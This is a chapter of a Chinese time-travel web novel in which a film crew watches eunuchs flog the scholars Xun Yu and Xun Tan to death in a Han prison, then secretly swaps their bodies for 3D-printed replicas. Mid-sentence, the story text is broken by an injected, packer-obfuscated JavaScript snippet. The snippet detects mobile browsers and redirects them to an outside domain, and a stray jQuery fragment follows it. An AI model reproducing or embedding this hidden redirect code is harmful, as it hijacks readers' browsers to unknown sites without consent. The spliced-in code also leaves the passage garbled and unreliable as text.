剧组前脚刚走,太史令后脚就过来。 太史令主要是一个观星看天象的职责,从多年前李诗筠开始各地采访拍摄后,上一任皇帝就恢复了太史令的载史职能。自从党锢发生之后,太史令常用星象向天子明示,身边的宦官是奸佞! 近期剧组夜里开着探照灯施工,又被太史令借题发挥,黑夜里的光亮下宫殿重建,代表天子圣明不再被奸邪蒙蔽,将重建大汉的光荣! 这事被宦官们知道,便传唤太史令来,敲打一番,否则嘛,只能换一个太史令了。 “是……下官明白……”迫于形势,太史令不敢当面硬刚。 等一只脚踏出殿门,太史令立刻捂着鼻子一脸震惊难以置信,眼中全是厌恶恐慌,刚过一个拐角就忍不住站定下来在简牍上记录下来。 [建宁二年,八月,黄门令王甫集众宦,曹节、张让、赵忠、蹇硕等,食大便为盟,时人甚异之。] 一不小心害得风评本就差的诸多宦官们雪上加霜,剧组对此事尚不知情,正要开始拍摄支线任务。 李诗筠顺便给同事们展示下系统的快进功能,眨眼睛来到一个月后,与八俊支线的荀昱有关的场景。 【建宁二年,九月,雒阳地牢】 监狱里关押的大多数并不是穷凶极恶的罪犯,而是一些因言获罪的党人。何谓党人,用现代比喻就是,公司的技术层反对老板小舅子空降管理层,也拒绝马屁精同事背刺,要整顿职场! 结果被老板停薪停职,有影响力的老员工甚至被开除。 “天子年幼,宦官当政,我大汉危悬也!”监狱里的士人们叹息哀嚎着。 几个小黄门前来找茬,将关押在内的荀昱单独拽了出来,说只要他们荀家两人能服个软,今后多说些该说的,也不会为难他们。 “呸!”荀昱啐了小黄门一口,“士可杀,不可辱!要替奸佞说话,如何对得起先祖!对得起历朝先帝!” “呵,敬酒不吃吃罚酒!来人,上刑!” 荀昱立刻就被绑着吊起来,小黄门手里的鞭子甩得很是用力,啪地打在身上便是皮开肉绽,很快白色的单衣浸出血红。 监狱里的荀昙同样咬牙切齿,伸手呐喊道:“奸贼!你们都会有报应的!会有报应的!” “nice!这种真实感,任何布景化妆都做不出效果!”同在监狱内,阴暗的角落里剧组凭空出现,副导演高呼一声,惊得监狱之中的所有人都纷纷投来视线。 李诗筠走在最前面,手里也拿着个手持摄像机,众人一看到这东西就知道是剧组的人来了。 狱卒们纷纷站得笔直,他们这种常在地牢工作的可没什么机会被采访,这或许是他们生命中唯一能上镜的机会,一定要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15449296|167211||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好好把握! 小黄门手里还拿着鞭子,正前方是被吊起来的八俊之一荀昱。 摄像机的镜头正给荀昱额头的冷汗特写,又移动到绽开的伤口上。 拍摄暂停后,化妆师快步上前,认真学习真实伤口的样子,掏出手机咔咔咔拍照,方便以后做参考。 “额呵呵,诸位前来是需要拍什么?可有我们能帮助的?”小黄门很是殷勤地凑过来。 “不用,你们继续忙你们的,就当我们不存在。”李诗筠与剧组同事们确认情况,调遣的三名道具师也已经在片场,只是现在还没到时候。 小黄门见剧组没任何阻拦的意思,也就说明他们并不关心狱中士人的死活,或者说,剧组明知道今日就是谁的死期,特来记录。 如此一想,更有了勇气。 不仅鞭打荀昱,还把骂得最狠的荀昙也拽出来一起打,今日就给监狱的士人们看看,与宦官对立是什么样的下场。 镜头对准受刑的荀家两人,剧组一半人都不忍多看捂住了眼睛。 副导演调整了一下摄像机,说:“太血腥了,系统能过审,总局那边都过不了,对准行刑的人吧。” 化妆师强忍着不适仍在观察伤口做笔记,小声询问:“我们真的不拦着吗?他们要被打死了啊……” 历史教授沉默摇头,按照记载,荀昱荀昙确实死于建宁二年的党锢之祸,下狱后没多久就死了。 两双黑白分明的眼睛里充斥着鲜血,万分不甘心地盯着后世剧组,似乎在疑惑:我荀家名满天下,遭遇如此横祸,后世竟无半点怜悯之心,冷眼旁观……难道,难道将来汉室天下被宦官颠倒黑白,我们在记载中是恶人吗? 荀昱荀昙死不瞑目,咽了气。 “没动静了……”狱卒赶紧提醒了一声行刑的小黄门,又一起观察剧组的动向。 李诗筠立刻惊呼一声,说:“哎呀!果真是这时候死的?我们要给死者拍一些遗照,你们先回避一下!” 道具组收到提示立刻开始行动,给周围拉上帘子,剧组其他人在帘子外假装和狱卒小黄门沟通事宜,闲聊监狱里被禁锢的人们。 道具组三人在帘子内将两名死者脱光了进行扫描,同步到现代某科技公司,投入仿真材料,调整实体厚度硬度,开始3D打印。 同时,李诗筠已经给荀昱荀昙办理住院手续,她将两份合同递进帘子内,道具组给两名死者快速按下指印,脖子上出现工牌后,又被李诗筠开除,通过卡bug的方式传送到现代,否则古人被带回现代世界的话,会和她当初顺走的东汉物件一样氧化。 两名刚咽气的古人被推进了实验室级别的医院进行抢救治疗,3D打印完成的尸体也申请传送过来。 帘子内的道具组三人给仿真尸体穿上衣服,戴上假发套贴上假胡子,反复确定没有什么明显的破绽后,这才拉开了帘子。 道具组三人也是有点演技在身的,假装抹了抹眼泪,说:“还想救一下的,没想到只拍了两张遗照,就僵直了,救不活了。” “啊?刚死就僵直了?”狱卒大为震惊。 李诗筠给剧组众人使眼神,众人都很是悲戚的表情。 “唉!”她重重叹一声,说,“荀家乃是儒家代表之一,死在狱中恐怕你们也要被记恨。这样吧,正好我们要去颍川拍点人文风景,这两具尸体,我们带去颍川报丧。”